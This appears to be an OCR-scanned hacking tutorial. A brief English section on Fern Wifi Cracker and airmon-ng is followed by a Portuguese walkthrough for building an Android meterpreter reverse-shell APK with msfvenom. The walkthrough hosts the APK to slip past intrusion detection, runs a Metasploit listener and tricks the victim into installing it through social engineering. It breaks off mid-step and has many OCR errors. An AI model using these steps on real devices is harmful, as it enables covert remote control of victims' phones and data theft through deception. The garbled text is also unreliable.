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Fern Wifi Cracker

Fern Wifi cracker is one of the tools that Kali has to
crack wireless.

Before opening Fern, we should turn the wireless card
into menitoring mode. To do this, Type Tairmon-ng
start wlan-0" in the terminal.
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Mow, open Fern Wireless Cracker.

Step 1 — Applications — Click "Wireless Attacks” —

"Fern Wireless Cracker”.
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Utilizaremos o msfvenom para criar uma carga util e coloca-la a parte como um arquivo '.apk'. Na execucdo da geracdo de uma carga util, agora temos que criar um listener para o framework Metasploit. Entdo, temos que manipular a vitima para que ela seja convencida a baixar aquele payload ou o '.apk' que o arquivo gerado anteriormente.
Normalmente, a engenharia social é a manipulagao psicoldgica de pessoas para que realizem acoes ou divulguem informagoes confidenciais. Agora, uma vez que a vitima instala o arquivo malévolo, o invasor pode facilmente recuperar uma sessdo do meterpreter no Metasploit. Vocé também pode hackear um gadget Android através da Internet,
utilizando seu IP Publico / Externo no LHOST e também pelo conceito de 'encaminhamento de porta'. Nota: Use as técnicas abaixo apenas para fins de instrucao / teste em seu proprio Wi-Fi ou com o consentimento do proprietario. Tente nédo usar isso para fins malignos. Gerando a carga util 1. Digite “ ifconfig ” na sessdo de terminal para ver a
configuracao da interface de rede do dispositivo que estamos usando para executar o ataque. ifconfig Aqui: 1. ethO é a primeira interface Ethernet (consiste em 'inet', que mostra o enderecgo IP (protocolo da Internet) de nossa maquina atacante). 2. lo é a interface de Loopback. Depois de obter o endereco IP da interface, usaremos o msfvenom, que
produzira uma carga util para se infiltrar no sistema operacional Android. 2. Listando todas as opgdes acessiveis com msfvenom. (Isso listara todos os limites que nos ajudarao a produzir nossa carga util). msfvenom -h Agora, a carga util pode ser salva no formato '.exe’, '.msi' ou '.apk’, etc., mas para este tutorial, usaremos o formato '.apk' como o
dispositivo da vitima usaria um dispositivo Android que suporta extensdo ' .apk '. 3. Portanto, agora temos que criar uma carga util que podemos executar no dispositivo da vitima para executar o ataque com sucesso. msfvenom -p android/meterpreter/reverse tcp LHOST=192.168.18.63 LPORT=4444 R> /var/www/androidhack.apk/ Aqui: 1. -p mostra
o tipo de carga 1til 2. android / meterpreter / reverse_tcp indica que um shell de meterpreter reverso rolaria a partir de um gadget Android objetivo. 3. LHOST é o nosso IP, ou seja, o IP do invasor 4. LPORT ¢é a porta de escuta na maquina do invasor. 5. R> / var / www / html gera a saida diretamente no servidor apache 6. '.apk' é a extensao de arquivo
do Trojan criado. Isso reservaria algum esforgo (tempo) para produzir um documento apk de cerca de 10.186 bytes. Configurando o Ataque 1. Em primeiro lugar, precisamos verificar o status do servidor Apache (Web Application Server) e, para isso, digite os seguintes comandos no terminal service apache2 start service apache2 status Nés, podemos
usar este servidor web (apache2) para hospedar arquivos, ou podemos colocar no Google Drive ou Dropbox ou qualquer um dos provedores de nuvem que compartilham arquivos e entdo podemos colocar esses arquivos no servidor, e entao as vitimas nao sera capaz de detectar qualquer intencao maliciosa porque o Sistema de deteccao de intruséo de
rede pode ignorar e dizer: Ei! Este € um dominio amigavel, vamos deixa-lo ir. 2. Agora, tudo parece estar configurado corretamente e podemos iniciar o msfconsole. msfconsole 3. Use o exploit multi / handler, defina a carga util como a gerada anteriormente (isso nos ajudarda a gerar um listener). use multi/handler set PAYLOAD
android/meterpreter/reverse tcp 4. Agora, vamos usar o comando 'show options' a fim de ver a configuracao, definir os valores LHOST (Local Host) e LPORT (Porta Local) como os usados na carga util (digite os seguintes comandos para o mesmo) . show options 5. Aqui, o LPORT ja estéd definido, entdo sé precisamos definir o LHOST para o IP da
nossa maquina de ataque, e podemos fazer isso com o seguinte comando: set LHOST 192.168.18.63 6. Agora, podemos digitar 'exploit' para lancar o ataque desejado. exploit Assim, uma vez que executamos o comando ' exploit ', 0 manipulador TCP ¢é iniciado imediatamente. Em cendérios da vida real, alguns procedimentos de engenharia social podem
ser utilizados para permitir que o objetivo baixe o arquivo '.apk' vingativo. Para o propoésito do tutorial, estamos simplesmente fazendo com que a maquina da vitima baixe o arquivo no telefone Android. Executando o ataque Exploracao: 1. Digite o seguinte endereco da web em um navegador da web no telefone da vitima. (
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